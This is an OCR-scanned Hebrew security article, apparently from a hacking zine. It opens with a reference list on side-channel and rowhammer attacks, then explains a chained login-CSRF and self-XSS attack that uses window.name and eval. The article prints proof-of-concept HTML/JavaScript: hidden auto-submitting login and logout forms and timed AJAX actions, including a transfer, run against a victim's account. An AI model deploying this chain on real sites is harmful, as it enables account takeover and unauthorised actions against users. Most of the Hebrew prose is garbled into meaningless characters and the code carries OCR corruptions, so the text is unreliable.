Introduction to Side-Channel Power Analysis (SCA, DPA)
Compromising Electromagnetic Emanations of Keyboards Experiment 1/2
Compromising Electromagnetic Emanations of Keyboards Experiment 2/2
Cyber Security in Transportation: Hype or Armageddon
NIaxn

Lecture 14 - Design for Testability, M. Horowitz, Computer Systems Laboratory, Stanford

University

Exploiting the DRAM rowhammer bug to gain kernel privileges, How to cause and exploit

single bit errors, Mark Seaborn and Thomas Dullien

Hacking The IoT (Internet of Things) PenTesting RF Operated Devices, Erez Metula, AppSec

Labs, OWASP Israel Meeting 2016
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https://gcn.com/articles/2011/10/18/smart-phone-sensors-steal-keystrokes.aspx
https://gcn.com/articles/2011/10/18/smart-phone-sensors-steal-keystrokes.aspx
http://keccak.noekeon.org/NoteSideChannelAttacks.pdf
http://keccak.noekeon.org/NoteSideChannelAttacks.pdf
https://www.defcon.org/images/defcon-16/dc16-presentations/alonso-parada/defcon-16-alonso-parada-wp.pdf
https://www.defcon.org/images/defcon-16/dc16-presentations/alonso-parada/defcon-16-alonso-parada-wp.pdf
http://gauss.ececs.uc.edu/Courses/c653/lectures/SideC/intro.pdf
https://github.com/KarenWest/hardwareSecurity
https://42xtjqm0qj0382ac91ye9exr-wpengine.netdna-ssl.com/wp-content/uploads/2015/08/TimingAttacks.pdf
https://42xtjqm0qj0382ac91ye9exr-wpengine.netdna-ssl.com/wp-content/uploads/2015/08/TimingAttacks.pdf
https://www.youtube.com/watch?v=vJ9NdvKYxeg
https://www.youtube.com/watch?v=OlX-p4AGhWs
https://vimeo.com/2007855
https://vimeo.com/2008343
https://www.youtube.com/watch?v=d7G_LdNaXJc
http://web.stanford.edu/class/archive/ee/ee371/ee371.1066/lectures/lect_14.2up.pdf
http://web.stanford.edu/class/archive/ee/ee371/ee371.1066/lectures/lect_14.2up.pdf
https://www.blackhat.com/docs/us-15/materials/us-15-Seaborn-Exploiting-The-DRAM-Rowhammer-Bug-To-Gain-Kernel-Privileges.pdf
https://www.blackhat.com/docs/us-15/materials/us-15-Seaborn-Exploiting-The-DRAM-Rowhammer-Bug-To-Gain-Kernel-Privileges.pdf
https://www.owasp.org/images/2/29/AppSecIL2016_HackingTheIoT-PenTestingRFDevices_ErezMetula.pdf
https://www.owasp.org/images/2/29/AppSecIL2016_HackingTheIoT-PenTestingRFDevices_ErezMetula.pdf
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http://www.digitalwhisper.co.il/files/Zines/0x3B/DW59-1-ML-Security.pdf
http://www.digitalwhisper.co.il/files/Zines/0x3B/DW59-1-ML-Security.pdf
http://www.digitalwhisper.co.il/files/Zines/0x19/DW25-4-MathBaseRSA.pdf
http://www.digitalwhisper.co.il/files/Zines/0x19/DW25-4-MathBaseRSA.pdf
http://www.usr.co.il/upload/listitems/attachedfile_549.pdf
https://he.wikipedia.org/wiki/%D7%94%D7%AA%D7%A7%D7%A4%D7%AA_%D7%A9%D7%99%D7%91%D7%95%D7%A9_(%D7%A7%D7%A8%D7%99%D7%A4%D7%98%D7%95%D7%92%D7%A8%D7%A4%D7%99%D7%94)
https://he.wikipedia.org/wiki/%D7%94%D7%AA%D7%A7%D7%A4%D7%AA_%D7%A9%D7%99%D7%91%D7%95%D7%A9_(%D7%A7%D7%A8%D7%99%D7%A4%D7%98%D7%95%D7%92%D7%A8%D7%A4%D7%99%D7%94)
https://he.wikipedia.org/wiki/%D7%94%D7%AA%D7%A7%D7%A4%D7%AA_%D7%A2%D7%A8%D7%95%D7%A5_%D7%A6%D7%93%D7%93%D7%99
https://he.wikipedia.org/wiki/%D7%94%D7%AA%D7%A7%D7%A4%D7%AA_%D7%A2%D7%A8%D7%95%D7%A5_%D7%A6%D7%93%D7%93%D7%99
https://www.youtube.com/watch?v=B3xynRCkiJk
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:N190Y NN'T7 ...N19N1 XIN V'"AIR

Payload "onclick="eval(this.name)

TINA 72am 11'RY Payload YMIin'7 2"NKR 117 AWOR'Y M1an XSS-N DX 7TN7 QWOK LTV 1wan .10

.../l N2aI1Ia 2NN

:window.name 1IN NNIX WNw'Y Payload-n N2> - A A

OP"AIX N7 NN 0"DdAY71 ,U¥AY D'YN XY NITTA NI7IYON DX 2DINY A Kan Awn

205N NN TR .1N7W DTN D'ORR'ARN DX QRINN 7w nIawn 7y yNin'? nm 7y window.name

NN - QPINN 7Y NIAYNN Ynnwnn 2In7 IR Ajax .1
("71yon nx yxa7 N1 ,CSRF-7 ¥y X7 0T DX DA ,|"NITN JINN Ajax N1 [1'dn)

nN? NNK 72X ...naIn X% - 2P0 7Y DI2wNd NAITT TINA D71Y9 YXA'Y ITT Ajax hamd 2
?I807 TV 1nyan

MmN - Login-n pwnnY n'X¥p"7oxn 7w wTn Tab nnmo .3
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CTH? NNAIT
rhtml><kbody><script>
logout = "document.write (Y'<form action="https://domain.com/logout™ Method="GET"
target=" new" name="logout"><inp
f></form><=zcrh "+\
login = 'document.write (\'<form action="h
target=" new"

name="login"></form><=crh '

+Y'iptrdocument . form=s. login. submitc () ;</2ce\ "+\ "ipt>\ ") ;"

'setInterval (\

action =

{"transferTo™: "AppSec™,
unction(d) {console.log(d) ;jalert (d.responseText) }):\"', 1000);';
window.name = logout + login + actions
window.location = 'https://domain.com/xss_wvulnerable page';
k/script></bodys></html>

D INYNn VIN'S

N1y nInvn

oy (submit) IMIX "awn"i logout 0910 917 DWNWY T 7'on Logout
-1 NN9"'Y target="_new’ Dy .document.forms.FormName.submit()
iframe 1IX'7 N'nN NONKX 0T .redirect y¥a' X7 QTnw 1D ,wTN Tab

.iframe-n 7w DWY target-n NX ' TAN71 MNO)

NT NYIY NTY NN LLogin 917 Get A10n NWja DY 0910 917 ANID Login

.Login 9 Th oy wTN Tab NIN9Y

12D 9712 ' $.post) post a10n Ajax N7IWY TIz NI 72 NR7172 y'n Action
X [9T9TN 7w 7102177 aNdI .n71YD y¥a7 nomi (jquery n'n
N71V9NY NIXYY? 7212 7101172 AT 2D QAI7V1 DX NWYN7 .ARXINN
YXIN UNnuNnY Ty (97INn 7¢ [)awnn 7y nyyxann KN ') n7wm

.NN'7¥N X'n TXI Login
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:CSRF Login-n 9T n'a - "11%W

Login ,NI71y9 2 yxan qQTn .@IMN 7¥ [12WUN7 Login :N9pnnn ¢ [IWRIN TUXN NIX N1 NYd
1,097 2-7 NI7IYSN DX 'MTIO9N) DTIEN 27w 112w qT17 Redirect-1 Qpinn 7w [1awn?
DX '2'¥1 272 17 e LClick Jacking > ,nopnn% 0vTvY NP DWAITY NP 0YOIN DNpNnaY

:(TNR 9T 750 y¥a)

<html><body>

<iframe name="attackerLogin" ztyle="display: none"></iframe>
<form action="https://domain.com/login" method="POST"

target="attackerLogin" id="attackerlLogin">
<input tyvpe="hidden" name="nser" wvalus="abo" />
<input tyvpe="hidden" name="password" valus="def" />
</ forms>

<form action="./secondPage.html" Method="GET" id="xss="></form>

<scripts>

£f Useful function

S Instead of: document.getElementById('objeld').valus = x
ff Use: £ ('objlId").value = =

function £(id) {return document.getElementById(id) }

S Log in as attacker

E('atctackerLogin') .submit {) :

ff Give it few seconds, until the login will be done

// and redirect to the page that puts the payleoad in the window page
getTimeout (function() {$("=x==3") .submitc ()}, S000)

</ script>

< /body></html>
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ITest it = 'n 2w

nin Y ™) .N9'PNN 7w NI'pn TINR 100 PITaY nan 7y *70nn DR 7'wonT W pin 750w INKY

'Y'NINN NX NNAY7 "2 TIAYY? N1 1'S 72U NnAtn 0'WAN INT - 07w 751 1T0 DX NIYYY

User eXperience Attacker-site.com Wictim-site. com

1. Wictim visits attacker's page

-
-

2. CSRF to attacker's account -

T

1

1

i

1

3. Redirect to the second page,:

i

4. XSS payload is inserted to windnw.namerqn—_)
1

5. Redirect to vulnerable XS5 page
which runs eval(this.name)

-
-

B. eval() execution :)

1

1

1

1

1

1

|

1 |
V7. AJAXICSRF logout from attacker's account |
| |
1

1

1

1

1

8. X85 interval awaits for the victim
to login back to his profile;

9. A new login tab is opened
1

A

[}
I
|
I
|
10. victim logs in back to his account, :
AJAX s executed on his account -

] bl

User eXperience Attacker-site. com Wictim-site. com

:attacker-site.com "ITTN ANXA 1PAN DIPNY P2 7NN 70

Q7NN 7w ANK7 W [apn

-N NIX DA 7901 1AW 'OX7? CSRF-1 "aIm ,qIinn 7¢ N1AWN? 20PN DX 1ann - Login CSRF
9Inn 9w n1awn? Credentials

PINN Y niawna awn 17 Redirect

y¥an'y Payload-n 75> NX window.name LP"2INA YAl attacker-site.com-1 JavaScript TIp
AN NIRNA

N"¥19 DY TN' 117 XSS-N R¥N1 12Y victim-site.com-1 Y*a9n 717 Redirect yxan ,|on INX7?
.eval(this.name)

AUN INKR TNX 8-1 6,7 0'9'W0 NIX NX¥"Nn eval() nyj71o o

71NN 7Y NN 200 DX N7 12 AJAX NN Ny¥ann Nt 27wa

DY 11PN Yy¥27 NN ANIRY NAITT NI7'WON DX 70nW DT KINW qoi AJAX Y1 L1700 IMixa
MNR DA L,NR7172 TR 7D yN7 'wnn Ajax-n J72am 'Rw DN IR a0t XSS

1017 Y'wnn XN 72X, NI7W0]1 NIRNEN PN QRINn Y jaunnY

A
2
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YUNNuNnn NX DN 5 qwoal NI .A'xp*7oRN 7w Login-n 1707 N9 11 wTn Tab nnoa .9
(6 qon) TN Tab-nw N1 .11I2wWN7 wTNN 1T Login y¥27 110X XN L,qpINn 7w nIawnn
Login y¥2' wnnwnn YUK TV - (PTAI ['NNN IX) DY9 INX DYD 7WI1D1,MITAN [91XA Ajax y'™n
.n1awnY?
NX PTI2 UnnNwnn DX .'M'01Y% Login-2 NaImaw wiaTn? v ,niawnY Login yxan wnnwnin .10
|["TY OTIPN 2AXLN Y¥aINN Login-n ."I21 SSL NTIVN DY NIIDIN NAIMdN a7 AT ,9Tn NaImd

9N QA1nl - Victim.com |"iTa Ajax y'n

‘Unnun n'in

.Attacker.com |"niTa A wnnwn .1

NNP79X7 Login-7 wTn Tab 17 NN911 TN 7w w15 XN wanwnn .2

[9TOTA QOIN 17 W' D YA L|IDIN ["AITA KINWY XTHN ,MI7 NN AN X7 ...WR2 Tan wnnwnn .3
.(UTNN 2XVI) NIW Login Y¥an "IN QTN VIV Kinl Phishing Nint? yTI'w

.Game Over 4

n'o

TY W'Y [amd ,7"10 NOpNNN DX Y¥A7 N1 DAY DNR T A'YN7 N7V 110N2Y 090117N INT
VYN 1AW 2¥NY TY NI* 17'9X N9'PNN DX 7917 NIn 7Y NNAYIINAY7 AWORY NRIwNl NNIY 0T
w7271 window.name N¥1N NX7? Phishing T Nma% 7wn% md> ,npw nn D2 'nan? 21 X7

Tab 17'9X NIN97 720 ,NINTINN 'V DX D'YNNWNAYT 2027 7011 D - NIY DINTINY wnnwnnn

TN
nNIX N

'poa'TIN XYt 1T DN

09X NI'AI71D0 7"21N0 AV'PRN )T YV
loT-1 72 nINN2 R&D 7am 7O9X1 YT'N NNLANI

2% ,9 722 C npNY Mnnn 5 7un ,Hacking enthusiast
,MYUYN X722 A'PRN DN 7'amn1 Web-n DInh2 nuwa |1'0N DY
YIV' apnn X7 NNNNRn 0val NINTENN NIV NN9YI TINY7? Y'wnn | TI
aWIN .'POY 71N DA yxan ,NdTI © .nmw NI9'En 7w nidINni

0Nl 'MAaX arn
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